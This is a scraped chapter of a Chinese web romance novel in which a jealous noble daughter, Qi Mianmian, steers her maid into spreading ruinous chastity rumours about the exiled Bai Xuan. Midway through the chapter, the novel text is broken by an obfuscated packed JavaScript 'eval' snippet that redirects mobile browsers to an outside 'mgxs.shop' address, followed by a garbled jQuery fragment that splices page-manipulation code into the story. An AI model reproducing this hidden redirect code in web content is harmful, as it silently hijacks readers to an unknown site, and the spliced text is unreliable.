文趣网 > 都市小说 > 流放后被强夺了 > 15. 第 15 章
    却说关青山离开书房后,径直朝前院去,路上遇到齐莫离,他提着一个小食盒,美滋滋地蹦跳着,活脱脱一个小傻子。

    关青山只觉得眼睛疼,停下脚步:“你长翅膀了?”

    齐莫离心情正好,眉梢欢快地扬着:“要真长了就好了,我就带着萱萱沿着关漠城飞一圈,保准能把她逗笑!”说着打开手中食盒,吝啬地拿出来一块递过去,“赏你的,吃吧。”

    “你找死是不是?”关青山手指一弹,白兔糯儿糕就飞到了草丛中,“我总兵府缺这口吃的吗?!”

    “那是萱萱刚给我做的,还热着呢,我好心给你尝一口,你你你!”齐莫离一甩袖子,大步离开,径直去了齐礼书房。

    萱萱……白萱?

    关青山站着没动,看着不远处躺着的小兔子,腹诽:刚回来就给傻小子做吃的,这是闲得慌,还是天生劳碌命?或是,讨好?

    一瞬间,关青山想到什么,回身喊了声:“你滚过来!”

    齐莫离犹豫了两息,还是不情不愿地退了回去:“干嘛?”

    “我刚才和你祖父说,要带你出关剿匪,这话不作数了!”

    齐莫离一脸“你有病吧”的表情,吼道:“你这是公报私仇!”

    关青山睨着他,问:“出关一趟最少要耗一个月,你的妾不纳了?”

    “纳!”齐莫离迅速乌云转晴,笑眯眯地又递过去一块糕点,“我的喜酒你喝不成了,给你这个,算是我们俩的心意,再打掉我就和你拼了!”

    关青山没打掉,拿在手里捏了捏,一脚踹在齐莫离屁股上:“滚吧!”顿了顿,又说:“看好自己的人,别被人拱了。”

    “你要是不会说话就别说,关!总!兵!”齐莫离哼着小调走了。

    关青山扫了眼手中胡萝卜形状的糯儿糕,磨了磨牙,一口吞了,嚼了半天才发觉和那日抚院刑场上吃到的糕点味道一样。

    那天,也是她做的?他走出几步又停下,左右看了看,没人,随即快速移动右腿,身子一矮,草丛中的小兔子被捡了起来,滑进了某人的袖子里。

    远处游廊拐角处,齐绵绵震惊地看着这一幕,直到关青山的身影彻底消失,她才如梦初醒。

    刚才,关青山捡了一块掉地上的糕点,是那个叫白萱的女人做的。

    这说明什么?她玲珑心思,几乎瞬间就明白了,顿时心中骤冷。

    这么多年,她对他的心思几乎摆到了明面上,可关青山对她从来不屑一顾。齐绵绵自认无论是出身、长相还是才情都算得上关漠城拔尖的人物,想娶她的好男儿不计其数,可她心气高,长得丑的,没本事的,都不会是她的目标。

    当年第一次见到关青山,他骑在高头大马上,如天神降临般救了她,后来得知他是土匪,她心里又冷了下来,可终究是抵不过初见的那份悸动。

    好在没多久,他就凭军功,做到了总兵的位子。

    她自觉终于找到了能配得上她的人,可却因为该死的“避嫌”,生生错过了这份姻缘。这两年,她也在四处寻觅良人,可却没有一个能入得了她的眼,而关青山就仿佛她身体里的一根刺,越扎越深,逐渐成了心魔。

    她心里甚至冒出了一个疯狂的计划,可还不等她实施,关青山居然喜欢上了别的女人!她愤怒,嫉妒!

    好不容易冷静下来,她转身对身后的丫鬟说:“回去吧。”

    丫鬟叫翠心,母亲是罪奴,流到关漠城后吃尽了苦头,后来被人欺辱,生下了她,却又没能耐养。

    齐礼见她可怜,便带回到府里,养到十岁的时候送到齐绵绵院子,一路从洒扫丫鬟做到一等大丫鬟,很得器重,在府里也有几分脸面。

    翠心纳闷:“总兵刚才是做什么?怎么……怎么捡地上的脏东西吃?他没饭吃吗?”

    齐绵绵弯了弯唇:“谁知道呢,大概是地上的东西更香吧。”

    翠心又开始埋怨:“老爷也真是的,您是他的亲孙女,他却总不愿意帮您。谁看不出来,您和关总兵原本就是天生一对,只要老爷肯说句话,奴婢就不信关总兵会拒绝。”

    “你不明白。”齐绵绵幽幽叹气,“祖父有他的考量,我是他孙女不错,整个关漠城想和齐府攀亲的人多如牛毛,可关总兵……却是不行的。”

    翠心没读过书,更不懂官场深浅,只是心疼她家小姐,说:“如果关总兵不是总兵就好了。”

    齐绵绵冷淡道:“他若只是个寻常土匪或是普通男子,我嫁他又有何用?”说完又觉失言,笑着转移话题,“对了,咱们府上来了位白姑娘,也是罪奴,据说,要许给哥哥呢。”

    “什么?!”翠心大惊,脸色都变了,“大少爷娶一个罪奴?这不可能吧。”

    “自然不是娶,只是纳妾。”齐绵绵一边说,一边拉过翠心的手拍了拍,“原本我想着,你如今年纪大了,模样又好,给哥哥做个通房,过两年有了孩子,也好顺理成章抬为妾室,却没想到被人捷足先登了,是我对不住你。”

    “小姐说的什么话……”翠心心烦意乱,简直像被人打了一巴掌。

    这么多年,她出落得越发漂亮,又兼是大小姐身边的贴身丫鬟,身份高人一等,府上下人都说大少爷将来准会纳她。齐莫离长相英俊,她自也是心动的,日子久了,她早把自己当成半个主子,却没料到,这才出去小半年,家里居然要添姨娘了。

    齐绵绵扫了她一眼,继续柔声安抚:“哥哥不是那等好色之徒,听说这是祖父的意思,消息也还瞒着,府上人还不知晓呢,我也是听乳母说的,你可别到处乱说,更别去找那姑娘的麻烦,万一惹了哥哥和祖父不高兴,对你可不好。”

    翠心攥着手帕,早已失了分寸。

    她本是罪奴之女,这辈子已然没了指望,本想着若跟了齐莫离,这辈子也有了依靠,不然若等年岁大了,她只能出府,到时候又能许到什么人家?说不得,还要像她那早死的娘一样,配个马夫什么的,苦一辈子。

    回到浣沙斋,翠心在屋里伺候了一会儿就出去了,她先怒气冲冲地找了碧春,指着她额头骂道:“我都回来一天了,府上添了个人你都敢不告诉我?死丫头,你现在是翅膀硬了,不需要翠心姐姐护着了,是吗?”

    碧春年纪小,入府晚,总是明里暗里被人欺负,翠心看她还算机灵,也就当个妹妹护着,平日能帮忙传个信。碧春揉着额头,直呼冤枉,忙把白萱如何入府,又如何被人拐走的事情说了。

    “翠心姐姐,实在是我疏忽了,您昨日刚回府,咱们院子里事情又多,我忙忘了。”

    翠心神色却好了些,问:“你是说,她之前被人拐走了?”

    “是啊,大少爷和老爷找了好几日了,今天才送回来。”碧春说,“我刚才去后厨,还见她正在做糕点呢,她做的糯儿糕可好吃了,和原来府上张厨子做的一样好吃。”

    “呸!就惦记吃!我问你,老爷有没有说要把她许给大少爷?”

    “啊?不会吧?”碧春傻乎乎地说,“没听说过呢,不过,白姐姐长得是真漂亮,我就没见过那么会长的姑娘,眼睛鼻子嘴巴,没有一处不好看的——哎哟!”

    嘴巴被狠狠掐了下,碧春眼泪都疼出来了,翠心却仍不解气,又在她另一边脸上掐了下,直把那一张粉白脸颊都掐出了血印子。她怒道:“没见过好东西的夯货,是个母的都说好看,你眼睛瞎了!”说罢,风一样地走了。

    齐绵绵站在门边,看着气势汹汹离开的翠心,嘴角微勾。

    碧春还在一旁告状,她看了眼委屈的小丫鬟,双眸无波无澜,如看一件死物,碧春被她看得后背一凉,可转瞬,那张脸上又挂上了熟悉的笑容。

    齐绵绵:“我屋里有一盒药膏,抹一抹就不疼了。”

    碧春误以为刚才是自己看错了,她家小姐向来是和气温柔的,怎么可能露出那种可怕的眼神。

    她笑:“还是大小姐好,翠心姐姐性子越发不好相与了……”

    “我回头说说她。”齐绵绵在丫鬟脸上揉了下,冰冰凉的,碧春嘶了声,笑着跑开了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943021|213787||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没多久,翠心失魂落魄地回来了,坐在院中台阶上一动不动。浣沙斋的下人知道她脾气大,也不敢上前招惹,全都避着她走,还是齐绵绵午休起来,把她拉到屋里,两个人原本就亲近,门一关,翠心就扑到她怀里哭起来。

    齐绵绵拍着她的背:“怎么,那位白姑娘真这么美?”

    翠心一边哭,一边骂:“什么骚狐狸的样子呢,还给大少爷做饭,张婶还说她要做厨娘,呸,我都怕她做出来的东西带着骚味,大少爷他肯定是被她那张脸迷惑了,不然他怎么可能纳一个罪奴?”

    说着,她突然激动起来:“小姐,你知道那狐媚子是因为什么被流到关漠吗?”

    齐绵绵的乳母早就告诉她了,不过她只装不知,问:“什么?”

    “通敌!还是铁勒!”翠心狠狠地咬牙,“在抚院行刑的时候,闹出了好大动静呢!据说,关总兵差点当场打死她!您说,大少爷怎么就被这么一个人迷惑了呢?要是她进了咱们家的门,以后在关漠城,咱们可怎么抬起腰板啊!”

    齐绵绵:“乳母说,这位白姑娘是京城白家的女儿,白家和我祖父有旧,我想着,祖父大概是因为这个才让哥哥纳了她,倒不一定真是哥哥心悦她。”

    闻言,翠心心下一松,随即又抽噎起来:“不管是谁的主意,可现在木已成舟,我,我该怎么办啊!小姐,您能和大少爷说说,让他……让他把我也一起纳了,行吗?”

    “祖父一生只有祖母一人,不设通房,不纳妾,父亲也只有一个姨娘,又早早病逝了。”齐绵绵为难地摇头,“齐家家风如此,且祖父和父亲自小就不许哥哥寻花问柳,如今纳了那位白姑娘,怕也是不得已而为之,你……哎,只怕是没可能了。”

    翠心突遭打击,连着晚饭也没吃,第二天起床,眼睛肿得核桃一样。

    齐绵绵心疼地给她冰敷,等终于消了肿,说:“你也别灰心,我听说,祖父打算一个月后让她进门,还有时间呢。”

    经过一夜的煎熬,翠心此刻不但没有冷静下来,反而一想到自己日后的命运,心中就灰暗一片,恨不得生撕了白萱。

    可她不是个机灵的,遇到事情就没了主意,闻言她抓着齐绵绵的手:“小姐,您帮帮我吧,我真的不想像我娘一样,一辈子操心柴米油,连件新衣服都买不起,那活着还有什么意思?”

    “你真想嫁给我哥?”齐绵绵问。

    翠心跪下去:“小姐,奴婢知道自己身份,不敢肖想姨娘的位子,能让奴婢做个通房丫鬟,一辈子伺候在大少爷身边,奴婢死也甘愿了。”

    即便是通房,那也是一城巡抚家嫡长子的通房,放在整个关漠城,也是颇有脸面的。翠心心里清楚,这是她能谋到的最好的前程了。

    早饭上桌,齐绵绵慢悠悠喝了口粥,示意其他人下去,只留翠心一人伺候。她说:“虽然祖父让她进门,可若是她品行有失,做出什么出格的事,那祖父为了齐府的脸面,只怕也只能收回成命了。”

    翠心:“您是说,我把她勾引大少爷,要做府上姨娘的事说出去?”

    齐绵绵看傻子一样看她:“这件事一定不能让别人知道,不然岂不是把祖父和哥哥架在火上烤?”看她实在蠢笨,齐绵绵放下碗,“女人最重要的是什么?名节。”

    翠心恍然大悟。

    白萱回来的第二日,府上突然有了流言,说她被人贩子掳走,早已失了清白,后来被关青山发现,这才送回了齐府,只是为了府上的脸面,才说在总兵府养病。

    传言说得有鼻子有眼,各种糟污话简直不能听,甚至有人说自己认识拐走她的人,恨不得把白萱当日穿了几件衣服都说得清清楚楚。

    接着,谣言仿佛长了脚,仅几日后,关漠城中已经有了类似的传言,又因为主角是白萱,许多人更是不啻于用最恶劣的话形容她,把她说成了一个欲求不满的风|骚|妇人。

    齐莫离得知消息的时候,流言已经发酵得不可遏制,更让他无奈的是,府上也发生了一些不好的事,矛头都指向了白萱。